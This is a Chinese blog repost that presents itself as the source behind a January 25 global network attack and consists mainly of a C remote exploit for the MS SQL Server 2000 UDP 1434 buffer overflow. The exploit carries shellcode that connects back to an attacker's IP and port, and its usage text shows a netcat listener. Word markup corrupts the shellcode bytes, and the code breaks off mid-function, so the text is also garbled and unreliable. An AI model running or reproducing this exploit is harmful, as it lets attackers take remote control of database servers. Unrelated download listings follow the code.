`
isiqi
  • 浏览: 16496868 次
  • 性别: Icon_minigender_1
  • 来自: 济南
社区版块
存档分类
最新评论

[转贴]去年1月25日全球网络受攻击的源代码

阅读更多

/*<?xml:namespace prefix = o ns = "urn:schemas-microsoft-com:office:office" />

* <?xml:namespace prefix = st1 ns = "urn:schemas-microsoft-com:office:smarttags" /><chsdate w:st="on" isrocdate="False" islunardate="False" day="25" month="1" year="2004"><span style="FONT-SIZE: 9pt; COLOR: green; FONT-FAMILY: 华文宋体; mso-font-kerning: 0pt">一月<span lang="EN">25</span>日</span></chsdate>全球网络受攻击的源代码

* 据说以下代码就是造成全球网络攻击的源代码,有兴趣的可以研究一下。

* 本文仅供研究,违者自负!!

*/

/*

MS SQL2k remote UDP Exploit

by David Litchfield, david@ngssoftware.com

*/

#include

#include

#pragma comment (lib,"Ws2_32")

int GainControlOfSQL(void);

int StartWinsock(void);

struct sockaddr_in c_sa;

struct sockaddr_in s_sa;

struct hostent *he;

SOCKET sock;

unsigned long addr;

int SQLUDPPort=1434;

char host[256]="";

char request[4000]="\x04";

char ping[8]="\x02";

char exploit_code[]=

"\x55\x8B\xEC\x68\x18\x10\xAE\x42\x68\x<chmetcnv w:st="on" tcsc="0" numbertype="1" negative="False" hasspace="False" sourcevalue="1" unitname="C">1C</chmetcnv>"

"\x10\xAE\x42\xEB\x03\x5B\xEB\x05\xE8\xF8"

"\xFF\xFF\xFF\xBE\xFF\xFF\xFF\xFF\x81\xF6"

"\xAE\xFE\xFF\xFF\x03\xDE\x90\x90\x90\x90"

"\x90\x33\xC9\xB1\x44\xB2\x58\x30\x13\x83"

"\xEB\x01\xE2\xF9\x43\x53\x8B\x75\xFC\xFF"

"\x16\x50\x33\xC0\xB0\x<chmetcnv w:st="on" tcsc="0" numbertype="1" negative="False" hasspace="False" sourcevalue="0" unitname="C">0C</chmetcnv>\x03\xD8\x53\xFF"

"\x16\x50\x33\xC0\xB0\x10\x03\xD8\x53\x8B"

"\x45\xF4\x50\x8B\x75\xF8\xFF\x16\x50\x33"

"\xC0\xB0\x<chmetcnv w:st="on" tcsc="0" numbertype="1" negative="False" hasspace="False" sourcevalue="0" unitname="C">0C</chmetcnv>\x03\xD8\x53\x8B\x45\xF4\x50"

"\xFF\x16\x50\x33\xC0\xB0\x08\x03\xD8\x53"

"\x8B\x45\xF0\x50\xFF\x16\x50\x33\xC0\xB0"

"\x10\x03\xD8\x53\x33\xC0\x33\xC9\x66\xB9"

"\x04\x01\x50\xE2\xFD\x89\x45\xDC\x89\x45"

"\xD8\xBF\x<chmetcnv w:st="on" tcsc="0" numbertype="1" negative="False" hasspace="False" sourcevalue="7" unitname="F">7F</chmetcnv>\x01\x01\x01\x89\x7D\xD4\x40"

"\x40\x89\x45\xD0\x66\xB8\xFF\xFF\x66\x35"

"\xFF\xCA\x66\x89\x45\xD2\x<chmetcnv w:st="on" tcsc="0" numbertype="1" negative="False" hasspace="False" sourcevalue="6" unitname="a">6A</chmetcnv>\x01\x<chmetcnv w:st="on" tcsc="0" numbertype="1" negative="False" hasspace="False" sourcevalue="6" unitname="a">6A</chmetcnv>\x02"

"\x8B\x75\xEC\xFF\xD6\x89\x45\xEC\x<chmetcnv w:st="on" tcsc="0" numbertype="1" negative="False" hasspace="False" sourcevalue="6" unitname="a">6A</chmetcnv>\x10"

"\x8D\x75\xD0\x56\x8B\x5D\xEC\x53\x8B\x45"

"\xE8\xFF\xD0\x83\xC0\x44\x89\x85\x58\xFF"

"\xFF\xFF\x83\xC0\x5E\x83\xC0\x5E\x89\x45"

"\x84\x89\x5D\x90\x89\x5D\x94\x89\x5D\x98"

"\x8D\xBD\x48\xFF\xFF\xFF\x57\x8D\xBD\x58"

"\xFF\xFF\xFF\x57\x33\xC0\x50\x50\x50\x83"

"\xC0\x01\x50\x83\xE8\x01\x50\x50\x8B\x5D"

"\xE0\x53\x50\x8B\x45\xE4\xFF\xD0\x33\xC0"

"\x50\xC6\x04\x24\x61\xC6\x44\x24\x01\x64"

"\x68\x54\x68\x72\x65\x68\x45\x78\x69\x74"

"\x54\x8B\x45\xF0\x50\x8B\x45\xF8\xFF\x10"

"\xFF\xD0\x90\x<chmetcnv w:st="on" tcsc="0" numbertype="1" negative="False" hasspace="False" sourcevalue="2" unitname="F">2F</chmetcnv>\x2B\x<chmetcnv w:st="on" tcsc="0" numbertype="1" negative="False" hasspace="False" sourcevalue="6" unitname="a">6A</chmetcnv>\x07\x6B\x<chmetcnv w:st="on" tcsc="0" numbertype="1" negative="False" hasspace="False" sourcevalue="6" unitname="a">6A</chmetcnv>\x76"

"\x<chmetcnv w:st="on" tcsc="0" numbertype="1" negative="False" hasspace="False" sourcevalue="3" unitname="C">3C</chmetcnv>\x34\x34\x58\x58\x33\x3D\x<chmetcnv w:st="on" tcsc="0" numbertype="1" negative="False" hasspace="False" sourcevalue="2" unitname="a">2A</chmetcnv>\x36\x3D"

"\x34\x6B\x<chmetcnv w:st="on" tcsc="0" numbertype="1" negative="False" hasspace="False" sourcevalue="6" unitname="a">6A</chmetcnv>\x76\x<chmetcnv w:st="on" tcsc="0" numbertype="1" negative="False" hasspace="False" sourcevalue="3" unitname="C">3C</chmetcnv>\x34\x34\x58\x58\x58"

"\x58\x<chmetcnv w:st="on" tcsc="0" numbertype="1" negative="False" hasspace="False" sourcevalue="0" unitname="F">0F</chmetcnv>\x0B\x19\x0B\x37\x3B\x33\x3D\x<chmetcnv w:st="on" tcsc="0" numbertype="1" negative="False" hasspace="False" sourcevalue="2" unitname="C">2C</chmetcnv>"

"\x19\x58\x58\x3B\x37\x36\x36\x3D\x3B\x<chmetcnv w:st="on" tcsc="0" numbertype="1" negative="False" hasspace="False" sourcevalue="2" unitname="C">2C</chmetcnv>"

"\x58\x1B\x<chmetcnv w:st="on" tcsc="0" numbertype="1" negative="False" hasspace="False" sourcevalue="2" unitname="a">2A</chmetcnv>\x3D\x39\x<chmetcnv w:st="on" tcsc="0" numbertype="1" negative="False" hasspace="False" sourcevalue="2" unitname="C">2C</chmetcnv>\x3D\x08\x<chmetcnv w:st="on" tcsc="0" numbertype="1" negative="False" hasspace="False" sourcevalue="2" unitname="a">2A</chmetcnv>\x37"

"\x3B\x3D\x2B\x2B\x19\x58\x58\x3B\x35\x<chmetcnv w:st="on" tcsc="0" numbertype="1" negative="False" hasspace="False" sourcevalue="3" unitname="C">3C</chmetcnv>"

"\x58";

int main(int argc, char *argv[])

{

unsigned int ErrorLevel=0,len=0,c =0;

int count = 0;

char sc[300]="";

char ipaddress[40]="";

unsigned short port = 0;

unsigned int ip = 0;

char *ipt="";

char buffer[400]="";

unsigned short prt=0;

char *prtt="";

if(argc != 2 && argc != 5)

{

printf("===============================================================\r\n");

printf("SQL Server UDP Buffer Overflow Remote Exploit\r\n\n");

printf("Modified from \"Advanced Windows Shellcode\"\r\n");

printf("Code by David Litchfield, david@ngssoftware.com\r\n");

printf("Modified by lion, fix a bug.\r\n");

printf("Welcome to HUC Website http://www.cnhonker.com\r\n\n");

printf("Usage:\r\n");

printf(" %s Target [ ]\r\n\n", argv[0]);

printf("Exemple:\r\n");

printf("Target is MSSQL SP 0:\r\n");

printf(" C:\\>nc -l -p 53\r\n");

printf(" C:\\>%s db.target.com 202.202.202.202 53 0\r\n",argv[0]);

printf("Target is MSSQL SP 1 or 2:\r\n");

printf(" c:\\>%s db.target.com 202.202.202.202\r\n\n", argv[0]);

return 0;

}

strncpy(host, argv[1], 100);

if(argc == 5)

{

strncpy(ipaddress, argv[2], 36);

port = atoi(argv[3]);

// SQL Server 2000 Service pack level

// The import entry for GetProcAddress in sqlsort.dll

// is at 0x42ae1010 but on SP 1 and 2 is at 0x42ae<chmetcnv w:st="on" tcsc="0" numbertype="1" negative="False" hasspace="False" sourcevalue="101" unitname="C">101C</chmetcnv>

// Need to set the last byte accordingly

if(argv[4][0] == 0x30)

{

printf("MSSQL SP 0. GetProcAddress @0x42ae1010\r\n");

exploit_code[9]=0x10;

}

else

{

printf("MSSQL SP 1 or 2. GetProcAddress @0x42ae<chmetcnv w:st="on" tcsc="0" numbertype="1" negative="False" hasspace="False" sourcevalue="101" unitname="C">101C</chmetcnv>\r\n");

}

}

ErrorLevel = StartWinsock();

if(ErrorLevel==0)

{

printf("Starting Winsock Error.\r\n");

return 0;

}

if(argc == 2)

{

strcpy(request,ping);

GainControlOfSQL();

return 0;

}

strcpy(buffer,exploit_code);

// set this IP address to connect back to

// this should be your address

ip = inet_addr(ipaddress);

ipt = (char*)&ip;

buffer[142]=ipt[0];

buffer[143]=ipt[1];

buffer[144]=ipt[2];

buffer[145]=ipt[3];

// set the TCP port to connect on

// netcat should be listening on this port

// e.g. nc -l -p 80

prt = htons(port);

prt = prt ^ 0xFFFF;

prtt = (char *) &prt;

buffer[160]=prtt[0];

buffer[161]=prtt[1];

strcat(request,"AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXX");

// Overwrite the saved return address on the stack

// This address contains a jmp esp instruction

// and is in sqlsort.dll.

strcat(request,"\xDC\xC9\xB0\x42"); // 0x42B<chmetcnv w:st="on" tcsc="0" numbertype="1" negative="False" hasspace="False" sourcevalue="0" unitname="C">0C</chmetcnv>9DC

// Need to do a near jump

strcat(request,"\xEB\x0E\x41\x42\x43\x44\x45\x46");

// Need to set an address which is writable or

// sql server will crash before we can exploit

// the overrun. Rather than choosing an address

// on the stack which could be anywhere we'll

// use an address in the .data segment of sqlsort.dll

// as we're already using sqlsort for the saved

// return address

// SQL 2000 no service packs needs the address here

strcat(request,"\x01\x70\xAE\x42");

// SQL 2000 Service Pack 2 needs the address here

strcat(request,"\x01\x70\xAE\x42");

// just a few nops

strcat(request,"\x90\x90\x90\x90\x90\x90\x90\x90");

// tack on exploit code to the end of our request and fire it off

strcat(request,buffer);

GainControlOfSQL();

return 0;

}

int StartWinsock()

{

int err=0;

WORD wVersionRequested;

WSADATA wsaData;

wVersionRequested = MAKEWORD(2,1);

err = WSAStartup( wVersionRequested, &wsaData );

if (err != 0)

{

printf("error WSAStartup 1.\r\n");

return 0;

}

if ( LOBYTE( wsaData.wVersion ) != 2 || HIBYTE( wsaData.wVersion ) != 1 )

{

printf("error WSAStartup 2.\r\n");

WSACleanup( );

return 0;

}

if (isalpha(host[0]))

{

he = gethostbyname(host);

if (he == NULL)

{

printf("Can't get the ip of %s!\r\n", host);

WSACleanup( );

exit(-1);

}

s_sa.sin_addr.s_addr=INADDR_ANY;

s_sa.sin_family=AF_INET;

memcpy(&s_sa.sin_addr,he->h_addr,he->h_length);

}

else

{

s_sa.sin_family=AF_INET;

s_sa.sin_addr.s_addr = inet_addr(host);

}

return 1;

}

int GainControlOfSQL(void)

{

char resp[600]="";

int snd=0,rcv=0,count=0, var=0;

unsigned int ttlbytes=0;

margi

分享到:
评论

相关推荐

    Html处理软件、转贴工具(源代码)

    去除Html中的干扰码等(样例中以轻之国度的干扰码为例) 配置文件语法: 方法类型(整数) 最大匹配长度(整数) 字符串1(删除开头) 字符串2(删除结尾) 方法类型: 1:删除单行 2:删除行与行之间的

    论坛转贴源代码

    论坛转贴工具提供常的转换追加,转换覆盖,预览贴子,分析超链接,屏蔽文字,图片,超链接,提供查找,替换等功能,HTML版! 支持IE浏览器,360浏览器,搜狗浏览器,火狐浏览器,谷歌chrome浏览器等主流浏览器,无需...

    史上最全的转贴代码

    【标题】:“史上最全的转贴代码”通常指的是一个包含大量可复用代码片段或解决方案的集合,这些代码可能来自于各种编程语言,旨在帮助开发者快速解决问题或者作为学习参考。这样的资源对于初学者和经验丰富的程序员...

    转贴一个网络设计的例子

    转贴一个网络设计的例子

    易语言动网转贴.rar

    由于压缩包文件名为“易语言动网转贴.rar”,我们可以推测这可能是一个软件开发资源,包含了一些源代码、教程或者是相关插件。 在易语言中,"动网"通常指的是动网论坛,这是一个曾经非常流行的网络社区平台。"转贴...

    BFC UBB转贴器

    这是一个类似论坛转贴工具的小程序,可以将剪贴板中的HTML代码转换为论坛支持的UBB代码。 由于现在流行的转贴工具都是基于浏览器的,转换速度比较慢,还得打开浏览器才能使用(同时受到浏览器版本限制)。 &lt;br...

    易语言源码动网转贴.rar

    1. **网络通信**:在实现动网转贴功能时,首先需要与服务器进行交互,发送用户的转发请求,这涉及到HTTP或HTTPS协议的理解和应用,以及请求和响应的处理。 2. **数据格式解析**:在互联网上,数据通常以JSON或XML等...

    论坛转贴 v1.0 JS版-源码.zip

    【标题】"论坛转贴 v1.0 JS版-源码.zip" 提供的是一个基于JavaScript的论坛转贴功能的源代码实现。JS版通常指的是使用JavaScript编程语言编写的版本,这表明该软件可能主要用于网页端,利用浏览器的JavaScript引擎...

    动易系统的论坛转贴工具 -ASP源码.zip

    标题中的“动易系统的论坛转贴工具 -ASP源码.zip”揭示了这是一个基于ASP(Active Server Pages)编程语言开发的论坛转贴工具的源代码。ASP是微软公司推出的一种服务器端脚本环境,用于创建动态交互式网页。这个工具...

    动易系统的论坛转贴工具

    对于那些活跃于多个论坛的用户以及希望扩大网络影响力的网站管理员来说,这款工具无疑是一个不可多得的利器。通过深入理解和熟练运用,我们可以更好地利用论坛转贴工具,推动内容的广泛传播,实现互联网信息的共享与...

    jquery的转贴功能实现

    在本主题中,我们将深入探讨如何利用jQuery实现“转贴”功能,这是一种常见的社交媒体分享功能,允许用户将网页内容轻松分享到各种社交网络。 首先,让我们了解一下jQuery的核心概念。jQuery通过一种简洁的语法提供...

    ASP与数据库,有用的代码(转贴,摘贴)

    由于其易学易用的特点,ASP自推出以来受到了广泛欢迎,尤其是在Web管理领域。与传统的CGI(Common Gateway Interface)相比,ASP提供了更加简便的编程方式和更高的运行效率。 #### 二、ASP运行环境配置 1. **Windows...

    动网转贴.zip易语言项目例子源码下载

    总的来说,“动网转贴”项目实例是一个全面展示易语言应用的范例,涵盖了网络通信、数据处理和界面设计等多个关键领域,对于所有想要提升易语言编程技能的人来说,都是不容错过的宝贵资源。通过深入研究和实践,你将...

    动网转贴.e.rar

    【标题】"动网转贴.e.rar"是一个压缩文件,很可能包含了有关动网论坛或社区的相关资源、数据或用户帖子的备份。动网是中国早期知名的网络论坛软件之一,提供了丰富的社区功能,允许用户发帖、回帖、互动等。这个...

    电子政务-导电泡棉转贴装置.zip

    1. **电子政务的发展背景与现状**:介绍电子政务在全球和国内的发展历程,以及其对提升政府效率、提高公共服务质量、促进公民参与等方面的重要作用。 2. **导电泡棉的应用**:详细解释导电泡棉的物理特性,如导电性...

    东度极品论坛转贴工具

    东度极品论坛转贴工具东度极品论坛转贴工具

    动网转贴-易语言

    标题中的“动网转贴-易语言”表明这是一个基于易语言开发的系统工具,主要用于在论坛或网络上转发或分享内容。易语言是中国自主研发的一种高级编程语言,它以中文编程为特色,旨在降低编程难度,让更多人能参与到...

    易语言动网转贴

    "易语言动网转贴"是指使用易语言编写的一段代码或程序,主要用于在动网上实现帖子的转换或者迁移。动网可能是一个论坛或社区平台,转贴功能则是将某个地方的帖子复制到另一个地方,保持其内容完整。 在这个源码中,...

    脚本之家贴图转换+转贴工具用到的js代码超级推荐

    根据给定的信息,本文将对脚本之家贴图转换+转贴工具中使用的JavaScript代码进行详细解析,并逐一介绍这些函数的功能及其应用场景。 ### 一、`SymError` 函数 此函数用于处理JavaScript中的错误捕获。具体实现是...

Global site tag (gtag.js) - Google Analytics